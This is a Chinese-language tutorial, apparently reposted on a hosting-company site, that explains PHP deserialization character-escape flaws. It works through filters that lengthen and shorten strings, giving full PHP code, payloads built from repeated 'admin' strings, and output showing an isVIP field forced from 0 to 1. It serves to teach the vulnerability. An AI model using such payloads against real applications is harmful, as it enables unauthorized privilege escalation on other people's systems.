溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

PHP中反序列化字符逃逸的原理

發(fā)布時間:2021-08-25 09:47:34 來源:億速云 閱讀:163 作者:chen 欄目:編程語言

本篇內(nèi)容介紹了“PHP中反序列化字符逃逸的原理”的有關(guān)知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細閱讀,能夠?qū)W有所成!

PHP反序列化字符逃逸的原理

當(dāng)開發(fā)者使用先將對象序列化,然后將對象中的字符進行過濾,最后再進行反序列化。這個時候就有可能會產(chǎn)生PHP反序列化字符逃逸的漏洞。

詳解PHP反序列化字符逃逸

對于PHP反序列字符逃逸,我們分為以下兩種情況進行討論。

  • 過濾后字符變多

  • 過濾后字符變少

過濾后字符變多

假設(shè)我們先定義一個user類,然后里面一共有3個成員變量:username、password、isVIP

class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}

可以看到當(dāng)這個類被初始化的時候,isVIP變量默認(rèn)是0,并且不受初始化傳入的參數(shù)影響。

接下來把完整代碼貼出來,便于我們分析。

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}
$a = new user("admin","123456");
$a_seri = serialize($a);
echo $a_seri;
?>

這一段程序的輸出結(jié)果如下:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

可以看到,對象序列化之后的isVIP變量是0。

這個時候我們增加一個函數(shù),用于對admin字符進行替換,將admin替換為hacker,替換函數(shù)如下:

function filter($s){
return str_replace("admin","hacker",$s);
}

因此整段程序如下:

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}
function filter($s){
return str_replace("admin","hacker",$s);
}
$a = new user("admin","123456");
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>

這一段程序的輸出為:

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

這個時候我們把這兩個程序的輸出拿出來對比一下:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //未過濾
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //已過濾

可以看到已過濾字符串中的hacker與前面的字符長度不對應(yīng)了

s:5:"admin";
s:5:"hacker";

在這個時候,對于我們,在新建對象的時候,傳入的admin就是我們的可控變量

接下來明確我們的目標(biāo):將isVIP變量的值修改為1

首先我們將我們的現(xiàn)有子串目標(biāo)子串進行對比:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //現(xiàn)有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目標(biāo)子串

也就是說,我們要在admin這個可控變量的位置,注入我們的目標(biāo)子串。

首先計算我們需要注入的目標(biāo)子串的長度

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
//以上字符串的長度為47

因為我們需要逃逸的字符串長度為47,并且admin每次過濾之后都會變成hacker,也就是說每出現(xiàn)一次admin,就會多1個字符。

因此我們在可控變量處,重復(fù)47admin,然后加上我們逃逸后的目標(biāo)子串,可控變量修改如下:

adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

完整代碼如下:

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}
function filter($s){
return str_replace("admin","hacker",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>

程序輸出結(jié)果為:

O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

我們可以數(shù)一下hacker的數(shù)量,一共是47hacker,共282個字符,正好與前面282相對應(yīng)。

后面的注入子串也正好完成了逃逸。

反序列化后,多余的子串會被拋棄

我們接著將這個序列化結(jié)果反序列化,然后將其輸出,完整代碼如下:

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}
function filter($s){
return str_replace("admin","hacker",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
$a_seri_filter_unseri = unserialize($a_seri_filter);
var_dump($a_seri_filter_unseri);
?>

程序輸出如下:

object(user)#2 (3) {
  ["username"]=>
string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"
  ["password"]=>
string(6) "123456"
  ["isVIP"]=>
int(1)
}

可以看到這個時候,isVIP這個變量就變成了1,反序列化字符逃逸的目的也就達到了。

過濾后字符變少

上面描述了PHP反序列化字符逃逸中字符變多的情況。

以下開始解釋反序列化字符逃逸變少的情況。

首先,和上面的主體代碼還是一樣,還是同一個class,與之有區(qū)別的是過濾函數(shù)中,我們將hacker修改為hack。

完整代碼如下:

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}
function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('admin','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>

得到結(jié)果:

O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

同樣比較一下現(xiàn)有子串目標(biāo)子串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}  //現(xiàn)有子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目標(biāo)子串

因為過濾的時候,將5個字符刪減為了4個,所以和上面字符變多的情況相反,隨著加入的admin的數(shù)量增多,現(xiàn)有子串后面會縮進來。

計算一下目標(biāo)子串的長度:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目標(biāo)子串
//長度為47

再計算一下到下一個可控變量的字符串長度:

";s:8:"password";s:6:"
//長度為22

因為每次過濾的時候都會少1個字符,因此我們先將admin字符重復(fù)22遍(這里的22遍不像字符變多的逃逸情況精確,后面可能會需要做調(diào)整)

完整代碼如下:(這里的變量里一共有22個admin

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}
function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>

輸出結(jié)果:

注意:PHP反序列化的機制是,比如如果前面是規(guī)定了有10個字符,但是只讀到了9個就到了雙引號,這個時候PHP會把雙引號當(dāng)做第10個字符,也就是說不根據(jù)雙引號判斷一個字符串是否已經(jīng)結(jié)束,而是根據(jù)前面規(guī)定的數(shù)量來讀取字符串。

O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

這里我們需要仔細看一下s后面是105,也就是說我們需要讀取到105個字符。從第一個引號開始,105個字符如下:

hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:

PHP中反序列化字符逃逸的原理

也就是說123456這個地方成為了我們的可控變量,在123456可控變量的位置中添加我們的目標(biāo)子串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}  //目標(biāo)子串

完整代碼為:

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}
function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>

輸出:

O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

仔細觀察這一串字符串可以看到紫色方框內(nèi)一共107個字符,但是前面只有顯示105

PHP中反序列化字符逃逸的原理

造成這種現(xiàn)象的原因是:替換之前我們目標(biāo)子串的位置是123456,一共6個字符,替換之后我們的目標(biāo)子串顯然超過10個字符,所以會造成計算得到的payload不準(zhǔn)確

解決辦法是:多添加2admin,這樣就可以補上缺少的字符。

修改后代碼如下:

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}
function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>

輸出結(jié)果為:

O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

分析一下輸出結(jié)果:

PHP中反序列化字符逃逸的原理

可以看到,這一下就對了。

我們將對象反序列化然后輸出,代碼如下:

<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
  }
}
function filter($s){
return str_replace("admin","hack",$s);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
$a_seri_filter_unseri = unserialize($a_seri_filter);
var_dump($a_seri_filter_unseri);
?>

得到結(jié)果:

object(user)#2 (3) {
  ["username"]=>
string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:""
  ["password"]=>
string(6) "123456"
  ["isVIP"]=>
int(1)
}

可以看到,這個時候isVIP的值也為1,也就達到了我們反序列化字符逃逸的目的了

“PHP中反序列化字符逃逸的原理”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識可以關(guān)注億速云網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實用文章!

向AI問一下細節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

php
AI